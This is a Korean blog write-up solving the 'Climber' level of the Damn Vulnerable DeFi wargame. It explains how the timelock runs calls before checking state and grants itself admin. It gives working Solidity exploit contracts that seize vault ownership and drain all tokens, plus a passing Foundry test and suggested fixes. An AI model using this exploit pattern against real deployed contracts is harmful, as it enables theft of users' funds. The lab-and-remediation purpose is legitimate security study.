[Damn Vulnerable DeFi] Climber

문제

문제를 푼 기억은 안 나는데 왜인지 풀이도 적혀있고 테스트도 잘 돌아가는 상황... 도와줘 과거의 나!

Climber

---

컨트랙트 구조

 문제에서 제시된 컨트랙트의 구조는 대략적으로 다음과 같습니다.

컨트랙트 구조

• ClimberVault는 UUPS 패턴을 구현하여, 스토리지 레이어인 ClimberVaultProxy와 로직 레이어인 ClimberVaultImplementation으로 구성됩니다.
  1. owner는 withdraw로 자금을 인출하거나 upgrade를 통해 로직 레이어를 변경할 수 있습니다.
  2. sweeper는 sweepFunds를 실행하여 모든 자금을 인출할 수 있습니다.
• ClimberTimelock은 ClimberVault의 owner로, 작업을 스케쥴링하고 실행하는 역할을 합니다.
  1. admin은 다른 계정에게 ADMIN_ROLE 또는 PROPOSER_ROLE을 부여하는 역할을 합니다.
  2. proposer는 schedule을 실행하여 새로운 작업을 스케쥴링할 수 있습니다.

 

 owner는 명백하게 확인이 가능하지만, admin이나 sweeper가 누군지 알 수 없는 현시점에서 가능한 공격 시나리오는 다음과 같습니다.

1. proposer 역할을 받아서 withdraw 작업을 스케쥴링하고 실행하는 작업을 반복하기. 이 경우는 한 번에 최대 1개의 토큰만 출금이 가능하며 한 번 출금하고 나면 15일을 기다려야 하기 때문에 공격은 절대 성공하지 못할 것으로 예상.
2. sweeper를 칼(?) 들고 협박해서 모든 DVT 토큰을 Vault에서 인출하여 공격자에게 전송하도록 하기.
3. owner 권한을 탈취해 모든 DVT를 특정 계정으로 전송하는 기능을 추가한 뒤 ClimberVault를 업그레이드하기.

 

 이 중 가장 실현가능성이 높은 시나리오는 3번입니다. 그렇다면 owner 권한은 어떻게 탈취해야 할까요?

---

취약점 찾기

 ClimberVault의 owner 권한을 가진 계정은 ClimberTimelock 컨트랙트입니다. 컨트랙트에서 transferOwnership을 호출할 수 있는 방안을 찾아봅시다.

 

 execute 함수를 자세히 살펴볼까요? 함수 위에는 'Anyone can execute what's been scheduled via `schedule`'이라는 주석이 달려있습니다. 아무나 함수를 호출할 수 있는 것이 문제가 될까요? 물론! 문제가 됩니다. 더군다나 함수의 로직 자체에서도 문제가 보이는군요.

/**
 * Anyone can execute what's been scheduled via `schedule`
 */
function execute(address[] calldata targets, uint256[] calldata values, bytes[] calldata dataElements, bytes32 salt)
    external
    payable
{
    if (targets.length <= MIN_TARGETS) {
        revert InvalidTargetsCount();
    }

    if (targets.length != values.length) {
        revert InvalidValuesCount();
    }

    if (targets.length != dataElements.length) {
        revert InvalidDataElementsCount();
    }

    bytes32 id = getOperationId(targets, values, dataElements, salt);

    for (uint8 i = 0; i < targets.length;) {
        targets[i].functionCallWithValue(dataElements[i], values[i]);
        unchecked {
            ++i;
        }
    }

    if (getOperationState(id) != OperationState.ReadyForExecution) {
        revert NotReadyForExecution(id);
    }

    operations[id].executed = true;
}

 함수의 실행 순서는 다음과 같습니다.

1. 입력값을 검사한다.
2. 작업 id를 계산한다.
3. 작업을 실행한다.
4. 작업 id와 매핑되어 있는 작업(operation)이 실행가능한 상태인지 확인한다.

무엇이 잘못되었는지 보이시나요? 만약 보이지 않는다면 Checks-Effects-Interactions 패턴에 대해 한 번 살펴보고 오시기 바랍니다.

 

 또 다른 취약점은 ClimberTimelock 컨트랙트의 생성자에서 발견할 수 있습니다. 회색 빛이 나는 주석이 보이시나요?

constructor(address admin, address proposer) {
    _setRoleAdmin(ADMIN_ROLE, ADMIN_ROLE);
    _setRoleAdmin(PROPOSER_ROLE, ADMIN_ROLE);
    _setupRole(ADMIN_ROLE, admin);
    _setupRole(ADMIN_ROLE, address(this)); // self administration
    _setupRole(PROPOSER_ROLE, proposer);

    delay = 1 hours;
}

 

 자, 이제 ClimberTimelock 컨트랙트의 취약점을 다음과 같이 정리해볼 수 있습니다.

• 아무나 execute 함수를 실행할 수 있다.
• execute 함수에서 작업의 실행 가능 여부를 확인하기 전에 외부 함수 호출이 먼저 이루어진다.
• 자기자신으로의 재진입에 대한 어떠한 방어 수단도 존재하지 않는다.
• ADMIN_ROLE과 PROPOSER_ROLE에 대한 admin 권한을 가지고 있다.

이러한 취약점을 기반으로 다음과 같은 공격 시나리오를 가정할 수 있습니다.

1. execute 함수를 실행합니다.
   1. ClimberTimelock 컨트랙트의 updateDelay 함수를 실행하여 delay를 0으로 설정합니다.
   2. ClimberTimelock 컨트랙트의 grantRole 함수를 실행하여 공격자에게 PROPOSER_ROLE을 부여합니다.
   3. ClimberTimelock 컨트랙트의 transferOwnership 함수를 실행하여 ClimberVault 컨트랙트의 소유권을 공격자에게 위임합니다.
   4. 마지막으로 schedule 함수를 실행하여 현재 실행중인 작업을 매핑된 상태로 등록합니다.
   5. 4번까지 실행하고 나면 작업의 known 값은 true가 되고 delay가 0이므로 상태는 ReadyForExecution이 되어 execute 함수의 실행은 성공적으로 마무리됩니다.
2. ClimberVault 컨트랙트의 소유권을 탈취했으니 원하는 로직을 추가한 악의적인 로직 레이어로 컨트랙트를 업그레이드합니다.
3. ClimberVault로부터 모든 DVT를 탈취합니다.

---

공격하기

업그레이드할 로직 레이어

contract FakeVault is ClimberVault {
    function sweepFundsTo(address token, address to) external onlyOwner {
        DamnValuableToken(token).transfer(to, DamnValuableToken(token).balanceOf(address(this)));
    }
}

공격에 사용할 컨트랙트

contract MaliciousProposer {
    ClimberTimelock public timelock;
    ERC1967Proxy public vaultProxy;
    DamnValuableToken public dvt;

    address public owner;

    constructor(ClimberTimelock _timelock, ERC1967Proxy _vaultProxy, DamnValuableToken _dvt) {
        timelock = _timelock;
        vaultProxy = _vaultProxy;
        dvt = _dvt;
        owner = msg.sender;
    }

    function propose() public {
        (address[] memory targets, uint256[] memory values, bytes[] memory dataElements, bytes32 salt) = getPoposeData();
        timelock.schedule(targets, values, dataElements, salt);
    }

    function withdraw() public {
        FakeVault newVaultImplementation = new FakeVault();

        FakeVault proxy = FakeVault(address(vaultProxy));

        proxy.upgradeTo(address(newVaultImplementation));
        proxy.sweepFundsTo(address(dvt), owner);

        dvt.transfer(owner, dvt.balanceOf(address(this)));
    }

    function getPoposeData() public view returns (address[] memory, uint256[] memory, bytes[] memory, bytes32) {
        address[] memory targets = new address[](4);
        targets[0] = address(timelock);
        targets[1] = address(timelock);
        targets[2] = address(vaultProxy);
        targets[3] = address(this);

        uint256[] memory values = new uint256[](4);
        values[0] = 0;
        values[1] = 0;
        values[2] = 0;
        values[3] = 0;

        bytes[] memory dataElements = new bytes[](4);
        dataElements[0] = abi.encodeWithSelector(timelock.updateDelay.selector, 0);
        dataElements[1] = abi.encodeWithSelector(timelock.grantRole.selector, PROPOSER_ROLE, address(this));
        dataElements[2] = abi.encodeWithSelector(ClimberVault(address(vaultProxy)).transferOwnership.selector, this);
        dataElements[3] = abi.encodeWithSelector(this.propose.selector);

        bytes32 salt = bytes32(0);

        return (targets, values, dataElements, salt);
    }
}

테스트 코드

function testExploit() public {
    /**
     * EXPLOIT START *
     */
    vm.startPrank(attacker);

    MaliciousProposer maliciousProposer = new MaliciousProposer(timelock, vaultProxy, dvt);
    vm.label(address(maliciousProposer), "Malicious Proposer");

    (address[] memory targets, uint256[] memory values, bytes[] memory dataElements, bytes32 salt) =
        maliciousProposer.getPoposeData();

    timelock.execute(targets, values, dataElements, salt);

    console.log("Owner of the vault is now malicious proposer:", ClimberVault(address(vaultProxy)).owner());

    maliciousProposer.withdraw();

    vm.stopPrank();

    /**
     * EXPLOIT END *
     */
    validation();
    console.log(unicode"\n🎉 Congratulations, you can go to the next level! 🎉");
}

$ make Climber 
forge test --match-test testExploit --match-contract Climber
[⠒] Compiling...
No files changed, compilation skipped

Ran 1 test for test/Levels/12.climber/Climber.t.sol:Climber
[PASS] testExploit() (gas: 4969069)
Logs:
  🧨 Let's see if you can break it... 🧨
  Owner of the vault is now malicious proposer: 0xfBf6157C2c70205E38985E10975426d2894760BA
  
🎉 Congratulations, you can go to the next level! 🎉

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.67ms (1.17ms CPU time)

Ran 1 test suite in 9.24ms (3.67ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

---

개선안

1. Openzeppelin TimelockController 컨트랙트 사용하기

executor와 별도의 admin을 설정할 수 있는 TimelockController 컨트랙트를 활용할 수 있습니다.

openzeppelin-contracts/contracts/governance/TimelockController.sol at master · OpenZeppelin/openzeppelin-contracts

2. Checks-Effects-Interactions 패턴 적용하기

 작업이 실행이 가능한지를 먼저 확인하고(checks) 업데이트해야 될 상태를 업데이트(effects)한 뒤, 외부 함수를 호출(interactions)해야 합니다.

function execute(address[] calldata targets, uint256[] calldata values, bytes[] calldata dataElements, bytes32 salt)
    external
    payable
{
    if (targets.length <= MIN_TARGETS) {
        revert InvalidTargetsCount();
    }

    if (targets.length != values.length) {
        revert InvalidValuesCount();
    }

    if (targets.length != dataElements.length) {
        revert InvalidDataElementsCount();
    }

    bytes32 id = getOperationId(targets, values, dataElements, salt);

    // 실행할 수 있는 상태인지 먼저 확인
    if (getOperationState(id) != OperationState.ReadyForExecution) {
        revert NotReadyForExecution(id);
    }
    
    operations[id].executed = true;

    for (uint8 i = 0; i < targets.length;) {
        targets[i].functionCallWithValue(dataElements[i], values[i]);
        unchecked {
            ++i;
        }
    }
}

3. ADMIN_ROLE 제거

admin이 별도로 존재한는데 구태여 Timelock 컨트랙트에게까지 ADMIN_ROLE을 부여할 필요는 없어 보입니다.

constructor(address admin, address proposer) {
    _setRoleAdmin(ADMIN_ROLE, ADMIN_ROLE);
    _setRoleAdmin(PROPOSER_ROLE, ADMIN_ROLE);
    _setupRole(ADMIN_ROLE, admin);
    _setupRole(PROPOSER_ROLE, proposer);

    delay = 1 hours;
}

4. 재진입 방지

 target이 자기자신인 경우에 revert가 발생하도록 코드를 수정했습니다.

for (uint8 i = 0; i < targets.length;) {
    if (targets[i] == address(this)) {
        revert("ClimberTimelock: Invalid target");
    }

    targets[i].functionCallWithValue(dataElements[i], values[i]);
    unchecked {
        ++i;
    }
}

 그런데 이 경우에는 updateDelay 함수를 호출할 수 없게 되므로 updateDeplay 함수를 admin만 호출할 수 있게 하는 식으로 수정을 해야될 것 같습니다.

 

 또는 ReentrancyGuard 수정자를 붙이는 방법도 있는데, 이 경우는 다른 함수들을 일일히 오버라이딩해야 하는 번거로움이 있습니다.

---

전체 코드

GitHub - piatoss3612/damn-vulnerable-defi-foundry: Damn Vulnerable DeFi - Foundry Version